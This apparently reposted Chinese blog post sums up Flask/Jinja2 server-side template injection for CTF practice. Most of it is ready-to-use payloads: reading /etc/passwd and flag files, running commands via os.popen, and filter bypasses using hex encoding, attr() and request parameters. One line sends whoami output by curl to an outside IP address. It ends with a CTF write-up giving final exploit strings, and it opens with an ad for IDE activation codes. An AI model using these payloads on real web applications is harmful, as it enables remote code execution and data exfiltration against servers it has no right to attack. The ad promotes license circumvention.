大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

前言：​SSTI（服务端模板注入），已然不再是一个新话题，近年来的CTF中还是也经常能遇到的，比如护网杯的easy_tonado、TWCTF的Shrine，19年的SCTF也出了Ruby ERB SSTI的考点；本篇对这部分总结一下，方便未来做题和复习的时候查阅！也欢迎各路大佬在评论区指正或者放出自己的WP链接互相学习！

各框架模板结构：(网图)

前置知识

简介

首先​简单说一下什么是SSTI(Server-Side Template Injection);即模板注入，与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述：当用户的输入数据没有被合理的处理控制时，就有可能数据插入了程序段中变成了程序的一部分，从而改变了程序的执行逻辑；
漏洞成因在于：render_template函数在渲染模板的时候使用了%s来动态的替换字符串，我们知道Flask 中使用了Jinja2 作为模板渲染引擎，{
{}}在Jinja2中作为变量包裹标识符，Jinja2在渲染的时候会把{
{}}包裹的内容当做变量解析替换。比如{
{1+1}}会被解析成2。

利用流程

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

常用函数

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

常见Payload

文件读取

# python3

{ 
   { 
   ().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}

# python2

{ 
   { 
   ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

新发现的新利用(赶紧收集了)

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

通用命令执行

{ 
   % for c in [].__class__.__base__.__subclasses__() %}
  { 
   % if c.__name__ == 'catch_warnings' %}
    { 
   % for b in c.__init__.__globals__.values() %}
      { 
   % if b.__class__ == { 
   }.__class__ %}
    	 { 
   % if 'eval' in b.keys() %}
      	 { 
   { 
    b['eval']('__import__("os").popen("id").read()') }}
   	   { 
   % endif %}
  	{ 
   % endif %}
   { 
   % endfor %}
  { 
   % endif %}
{ 
   % endfor %}

绕过姿势

过滤{
{
或者}}

可以使用{%绕过
{%%}中间可以执行if语句，利用这一点可以进行类似盲注的操作或者外带代码执行结果

{ 
   % if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{ 
   % endif %}

过滤_

用编码绕过

比如：__class__ => \x5f\x5fclass\x5f\x5f

_是\x5f，.是\x2E
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ‘'|attr(request['values']['x1']),然后post传入x1=__class__

过滤.

.在payload中是很重要的，但是我们依旧可以采用attr()或[]绕过

举例

• 正常payload：

url?name={ 
   { 
   ().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

使用attr()绕过：

{ 
   { 
   ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

使用[]绕过：
可以用getitem()用来获取序号

url?name={ 
   { 
    config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

其他：
''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")

过滤[]

可以用getitem()用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

利用请求方式requests绕过

• 如果对我们特定的参数进行了严格的过滤，我们就可以使用request来进行绕过，request可以获得请求的相关信息，我们拿过滤__class__，可以用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__

举例：

例一：

{ 
   { 
   ''.__class__}} => { 
   { 
   ''[request.args.t1]}}&t1=__class__

例二：

{ 
   { 
   ''.__class__}} => { 
   { 
   ''[request['args']['t1']]}}&t1=__class__

因为很重要再重复一遍！！！！
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ‘'|attr(request['values']['x1']),然后post传入x1=__class__

绕过config参数

{
{config}}可以获取当前设置，如果题目类似app.config ['FLAG'] = os.environ.pop（'FLAG'），那可以直接访问{
{config['FLAG']}}或者{
{config.FLAG}}得到flag
但是如果被过滤了

{ 
   { 
   self}} ⇒ <TemplateReference None>
{ 
   { 
   self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

其他绕过姿势(来自P3师傅)

删除了很多模块，但是没有删除reload

reload(__builtins__)，重新加载被删除的模块，直接命令执行，只用于py2  

EASY前置

Flask在渲染模板的时候，有

"".__class__===""["__class__"]

这一特性，把上下文变成了[]中的字符串，这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了，还可以做一个这样的变形

"".__class__===""["__cla"+"ss__"]

如果过滤了很多重要的参数呢？

python的格式化字符串特性

因为python的字符串格式化允许指定ascii码为字符
如果放到flask里，就可以改写成
"{0:c}"['format'](97)
测试一下没问题哈

那么__class__就可以变成

{ 
   { 
   ""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

注意：+号要编码

WP部分

方法一

输入name=admin发现存在回显，猜测为模板注入，经过测试发现过滤了 . _和很多的关键字，我要吐了
使用
().__class__.__base__.__subclasses__()[233].__init__.__globals__['builtins']['eval'](_import__("os").popen('想要执行的命令').read())
分别看下相应重要的语句执行运行截图吧，熟悉一下

然后用ls /查看根目录，最后利用cat命令访问/fl4g文件cat /fl4g|base64

最终payload
{
{%22%22[%22\x5f\x5fclass\x5f\x5f%22][%22\x5F\x5Fbase\x5F\x5F%22][%22\x5F\x5Fsubclasses\x5F\x5F%22]()[233][%22\x5F\x5Finit\x5F\x5F%22][%22\x5F\x5Fglobals\x5F\x5F%22][%22\x5F\x5Fbuiltins\x5F\x5F%22][%27eval%27](%22\x5F\x5Fimport\x5F\x5F(%27os%27)%22)['popen']('cat /fl4g|base64')['read']()}}
得到flag

方法二

利用上面讲过的绕过构造
url?name={
{ ()|attr(request['values']['x1'])|attr(request['values']['x2'])| attr(request['values']['x3'])()|attr(request['values']['x6'])(233)| attr(request['values']['x4'])| attr(request['values']['x5'])| attr(request['values']['x6'])(request['values']['x7'])| attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']) }}
然后post传入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat /fl4g|base64‘).read()

方法三

利用Python语言特性上面说过自己翻但是这个Payload就太长了，我懒得写出来了

参考文章

其他一些比较详细知识可以阅读这几位师傅的文章
CTF SSTI(服务器模板注入)
利用Python字符串格式化特性绕过ssti过滤
SSTI/沙盒逃逸详细总结
SSTI Bypass 学习 （Python3&jinja2
利用Python字符串格式化特性绕过ssti过滤